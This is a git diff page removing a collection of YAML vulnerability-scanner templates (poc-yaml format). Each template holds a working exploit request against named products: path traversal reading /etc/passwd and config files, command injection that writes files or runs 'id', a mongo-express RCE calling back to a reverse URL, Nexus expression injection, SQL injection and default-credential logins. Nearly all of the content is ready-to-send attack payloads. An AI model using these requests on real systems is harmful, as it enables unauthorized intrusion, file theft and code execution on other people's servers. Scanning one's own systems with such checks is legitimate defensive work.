author: kzaopa(https://github.com/kzaopa)
|
||||
links:
|
||||
- https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/b6f8fbfef46ad1c3f8d5715dd19b00ca875341c2/_book/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E9%87%91%E5%B1%B1/%E9%87%91%E5%B1%B1%20V8%20%E7%BB%88%E7%AB%AF%E5%AE%89%E5%85%A8%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-lanproxy-cve-2021-3019-lfi
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/../conf/config.properties"
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(string(b"config.admin.username"))) && response.body.bcontains(bytes(string(b"config.admin.password"))) && response.content_type.contains("application/octet-stream")
|
||||
detail:
|
||||
author: pa55w0rd(www.pa55w0rd.online/)
|
||||
Affected Version: "lanproxy 0.1"
|
||||
links:
|
||||
- https://github.com/ffay/lanproxy/issues/152
|
||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3019
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-laravel-debug-info-leak
|
||||
rules:
|
||||
- method: POST
|
||||
path: /
|
||||
follow_redirects: false
|
||||
expression: >
|
||||
response.status == 405 && response.body.bcontains(b"MethodNotAllowedHttpException") && response.body.bcontains(b"Environment & details") && (response.body.bcontains(b"vendor\\laravel\\framework\\src\\Illuminate\\Routing\\RouteCollection.php") || response.body.bcontains(b"vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php"))
|
||||
detail:
|
||||
author: Dem0ns (https://github.com/dem0ns)
|
||||
links:
|
||||
- https://github.com/dem0ns/improper/tree/master/laravel/5_debug
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-laravel-improper-webdir
|
||||
rules:
|
||||
- method: GET
|
||||
path: /storage/logs/laravel.log
|
||||
follow_redirects: false
|
||||
expression: >
|
||||
response.status == 200 && (response.content_type.contains("plain") || response.content_type.contains("octet-stream")) && (response.body.bcontains(b"vendor\\laravel\\framework") || response.body.bcontains(b"vendor/laravel/framework")) && (response.body.bcontains(b"stacktrace") || response.body.bcontains(b"Stack trace"))
|
||||
detail:
|
||||
author: Dem0ns (https://github.com/dem0ns)
|
||||
links:
|
||||
- https://github.com/dem0ns/improper
|
||||
@@ -1,21 +0,0 @@
|
||||
name: poc-yaml-mongo-express-cve-2019-10758
|
||||
set:
|
||||
reverse: newReverse()
|
||||
reverseURL: reverse.url
|
||||
rules:
|
||||
- method: POST
|
||||
path: /checkValid
|
||||
headers:
|
||||
Authorization: Basic YWRtaW46cGFzcw==
|
||||
body: >-
|
||||
document=this.constructor.constructor('return process')().mainModule.require('http').get('{{reverseURL}}')
|
||||
follow_redirects: true
|
||||
expression: >
|
||||
reverse.wait(5)
|
||||
detail:
|
||||
vulnpath: '/checkValid'
|
||||
author: fnmsd(https://github.com/fnmsd)
|
||||
description: 'Mongo Express CVE-2019-10758 Code Execution'
|
||||
links:
|
||||
- https://github.com/masahiro331/CVE-2019-10758
|
||||
- https://www.twilio.com/blog/2017/08/http-requests-in-node-js.html
|
||||
@@ -1,18 +0,0 @@
|
||||
name: poc-yaml-netentsec-ngfw-rce
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
r3: randomInt(800000000, 1000000000)
|
||||
r4: randomInt(800000000, 1000000000)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /directdata/direct/router
|
||||
body: {"action":"SSLVPN_Resource", "method":"deleteImage", "data":[{"data":["/var/www/html/{{r1}};expr {{r3}} + {{r4}} > /var/www/html/{{r2}}"]}], "type":"rpc", "tid":17, "f8839p7rqtj":"="}
|
||||
expression: response.status == 200
|
||||
- method: GET
|
||||
path: /{{r2}}
|
||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r3 + r4)))
|
||||
detail:
|
||||
author: jingling(https://github.com/shmilylty)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
|
||||
File diff suppressed because one or more lines are too long
@@ -1,21 +0,0 @@
|
||||
name: poc-yaml-nexus-cve-2020-10199
|
||||
set:
|
||||
r1: randomInt(40000, 44800)
|
||||
r2: randomInt(40000, 44800)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/rest/beta/repositories/go/group"
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |
|
||||
{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ {{r1}} * {{r2}} }"]}}
|
||||
expression: |
|
||||
response.status == 400 && response.body.bcontains(bytes(string(r1 * r2)))
|
||||
detail:
|
||||
Affected Version: "nexus<3.21.2"
|
||||
author: kingkk(https://www.kingkk.com/)
|
||||
links:
|
||||
- https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb
|
||||
- https://www.cnblogs.com/magic-zero/p/12641068.html
|
||||
- https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
|
||||
- https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
|
||||
@@ -1,20 +0,0 @@
|
||||
name: poc-yaml-nexus-cve-2020-10204
|
||||
set:
|
||||
r1: randomInt(40000, 44800)
|
||||
r2: randomInt(40000, 44800)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/extdirect"
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |
|
||||
{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"[email protected]","status":"active","roles":["$\\c{{{r1}}*{{r2}}}"]}],"type":"rpc","tid":28}
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
||||
detail:
|
||||
Affected Version: "nexus<3.21.2"
|
||||
author: kingkk(https://www.kingkk.com/)
|
||||
links:
|
||||
- https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb
|
||||
- https://www.cnblogs.com/magic-zero/p/12641068.html
|
||||
- https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
|
||||
@@ -1,22 +0,0 @@
|
||||
name: poc-yaml-nexus-default-password
|
||||
rules:
|
||||
- method: GET
|
||||
path: /nexus/service/siesta/capabilities
|
||||
expression: >
|
||||
response.status == 401
|
||||
- method: GET
|
||||
path: /nexus/service/local/authentication/login
|
||||
headers:
|
||||
Accept: application/json
|
||||
Authorization: Basic YWRtaW46YWRtaW4xMjM=
|
||||
expression: >
|
||||
response.status == 200
|
||||
- method: GET
|
||||
path: /nexus/service/siesta/capabilities
|
||||
expression: >
|
||||
response.status == 200
|
||||
detail:
|
||||
author: Soveless(https://github.com/Soveless)
|
||||
Affected Version: "Nexus Repository Manager OSS"
|
||||
links:
|
||||
- https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-phpmyadmin-cve-2018-12613-file-inclusion
|
||||
rules:
|
||||
- method: GET
|
||||
path: /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
|
||||
follow_redirects: false
|
||||
expression: >-
|
||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
||||
detail:
|
||||
author: p0wd3r
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
|
||||
@@ -1,13 +0,0 @@
|
||||
name: poc-yaml-phpmyadmin-setup-deserialization
|
||||
rules:
|
||||
- method: POST
|
||||
path: /scripts/setup.php
|
||||
body: >-
|
||||
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
|
||||
follow_redirects: false
|
||||
expression: >-
|
||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
||||
detail:
|
||||
author: p0wd3r
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
|
||||
@@ -1,19 +0,0 @@
|
||||
name: poc-yaml-phpstudy-backdoor-rce
|
||||
set:
|
||||
r: randomLowercase(6)
|
||||
payload: base64("printf(md5('" + r + "'));")
|
||||
rules:
|
||||
- method: GET
|
||||
path: /index.php
|
||||
headers:
|
||||
Accept-Encoding: 'gzip,deflate'
|
||||
Accept-Charset: '{{payload}}'
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.body.bcontains(bytes(md5(r)))
|
||||
detail:
|
||||
author: 17bdw
|
||||
Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
|
||||
vuln_url: "php_xmlrpc.dll"
|
||||
links:
|
||||
- https://www.freebuf.com/column/214946.html
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-qizhi-fortressaircraft-unauthorized
|
||||
|
||||
rules:
|
||||
- method: GET
|
||||
path: >-
|
||||
/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"错误的id") && response.body.bcontains(b"审计管理员") && response.body.bcontains(b"事件审计")
|
||||
detail:
|
||||
author: we1x4n(https://we1x4n.com/)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-rockmongo-default-password
|
||||
rules:
|
||||
- method: POST
|
||||
path: /index.php?action=login.index&host=0
|
||||
body: more=0&host=0&username=admin&password=admin&db=&lang=zh_cn&expire=3
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 302 && response.headers["location"] == "/index.php?action=admin.index&host=0"
|
||||
detail:
|
||||
author: B1anda0(https://github.com/B1anda0)
|
||||
links:
|
||||
- https://www.runoob.com/mongodb/working-with-rockmongo.html
|
||||
@@ -1,29 +0,0 @@
|
||||
name: poc-yaml-ruijie-eg-rce
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
phpcode: >
|
||||
"<?php echo '" + r1 + "'; unlink(__FILE__); ?>"
|
||||
payload: base64(phpcode)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/guest_auth/guestIsUp.php"
|
||||
headers:
|
||||
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
|
||||
Accept-Encoding: "gzip, deflate"
|
||||
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
|
||||
body: |
|
||||
ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: GET
|
||||
path: "/guest_auth/{{r2}}.php"
|
||||
headers:
|
||||
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
|
||||
Accept-Encoding: "gzip, deflate"
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1))
|
||||
detail:
|
||||
author: White(https://github.com/WhiteHSBG)
|
||||
links:
|
||||
- https://xz.aliyun.com/t/9016?page=1
|
||||
@@ -1,20 +0,0 @@
|
||||
name: poc-yaml-ruijie-rce-cnvd-2021-09650
|
||||
set:
|
||||
r1: randomLowercase(9)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /guest_auth/guestIsUp.php
|
||||
body: mac = 1 & ip = 127.0.0.1 | id > {{r1}}.txt
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: GET
|
||||
path: /guest_auth/{{r1}}.txt
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"uid")
|
||||
detail:
|
||||
author: jdr
|
||||
info: CNVD-2021-09650(Ruijie-EWEB网管系统 RCE)
|
||||
links:
|
||||
- https://github.com/opsxcq/exploit-CVE-2014-6271/
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-ruijie-uac-cnvd-2021-14536
|
||||
rules:
|
||||
- method: GET
|
||||
path: /login.php
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"<title>RG-UAC登录页面</title>") && response.body.bcontains(b"get_dkey_passwd") && "\"password\":\"[a-f0-9]{32}\"".bmatches(response.body)
|
||||
detail:
|
||||
author: jweny(https://github.com/jweny)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247483972&idx=1&sn=b51678c6206a533330b0279454335065
|
||||
@@ -1,22 +0,0 @@
|
||||
name: poc-yaml-saltstack-cve-2021-25282-file-write
|
||||
set:
|
||||
r1: randomLowercase(5)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /run
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"wheel_async") && response.body.bcontains(b"runner_async")
|
||||
- method: POST
|
||||
path: /run
|
||||
headers:
|
||||
Content-type: application/json
|
||||
body: >-
|
||||
{"eauth":"auto","client":"wheel_async","fun":"pillar_roots.write","data":"{{r1}}","path":"../../../../../../../../../tmp/{{r1}}"}
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.icontains("application/json") && "salt/wheel/d*".bmatches(response.body)
|
||||
detail:
|
||||
author: jweny(https://github.com/jweny)
|
||||
links:
|
||||
- https://www.anquanke.com/post/id/232748
|
||||
@@ -1,13 +0,0 @@
|
||||
name: poc-yaml-sangfor-edr-arbitrary-admin-login
|
||||
rules:
|
||||
- method: GET
|
||||
path: /ui/login.php?user=admin
|
||||
follow_redirects: false
|
||||
expression: >
|
||||
response.status == 302 &&
|
||||
response.body.bcontains(b"/download/edr_installer_") &&
|
||||
response.headers["Set-Cookie"] != ""
|
||||
detail:
|
||||
author: hilson
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/6aUrXcnab_EScoc0-6OKfA
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-sangfor-edr-cssp-rce
|
||||
rules:
|
||||
- method: POST
|
||||
path: /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: >-
|
||||
{"params":"w=123\"'1234123'\"|id"}
|
||||
expression: >
|
||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uid=0(root)")
|
||||
detail:
|
||||
author: x1n9Qi8
|
||||
Affected Version: "Sangfor EDR 3.2.17R1/3.2.21"
|
||||
links:
|
||||
- https://www.cnblogs.com/0day-li/p/13650452.html
|
||||
@@ -1,14 +0,0 @@
|
||||
name: poc-yaml-sangfor-edr-tool-rce
|
||||
set:
|
||||
r1: randomLowercase(8)
|
||||
r2: randomLowercase(8)
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/tool/log/c.php?strip_slashes=printf&host={{r1}}%25%25{{r2}}"
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
author: cookie
|
||||
links:
|
||||
- https://edr.sangfor.com.cn/
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-seeyon-a6-employee-info-leak
|
||||
rules:
|
||||
- method: GET
|
||||
path: /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0
|
||||
expression:
|
||||
response.status == 200 && response.body.bcontains(b"[Content_Types].xml") && response.body.bcontains(b"Excel.Sheet")
|
||||
detail:
|
||||
author: sakura404x
|
||||
version: 致远A6
|
||||
links:
|
||||
- https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3351.md
|
||||
@@ -1,13 +0,0 @@
|
||||
name: poc-yaml-seeyon-a6-test-jsp-sql
|
||||
set:
|
||||
rand: randomInt(200000000, 210000000)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}}))
|
||||
expression:
|
||||
response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
|
||||
detail:
|
||||
author: sakura404x
|
||||
version: 致远A6
|
||||
links:
|
||||
- https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3346.md
|
||||
@@ -1,16 +0,0 @@
|
||||
name: poc-yaml-seeyon-ajax-unauthorized-access
|
||||
rules:
|
||||
- method: GET
|
||||
path: /seeyon/thirdpartyController.do.css/..;/ajax.do
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes("java.lang.NullPointerException:null"))
|
||||
- method: GET
|
||||
path: /seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes("MMOneProfile")) && response.body.bcontains(bytes("productTags")) && response.body.bcontains(bytes("serverIdentifier")) && response.content_type.contains("application/json")
|
||||
|
||||
detail:
|
||||
author: x1n9Qi8
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/bHKDSF7HWsAgQi9rTagBQA
|
||||
- https://buaq.net/go-53721.html
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user